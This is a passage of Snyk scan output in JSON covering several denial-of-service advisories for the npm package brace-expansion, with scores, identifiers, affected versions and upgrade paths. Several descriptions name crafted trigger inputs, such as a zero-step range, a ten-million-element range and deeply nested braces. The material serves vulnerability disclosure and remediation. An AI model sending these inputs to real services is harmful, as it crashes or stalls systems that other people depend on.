"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": 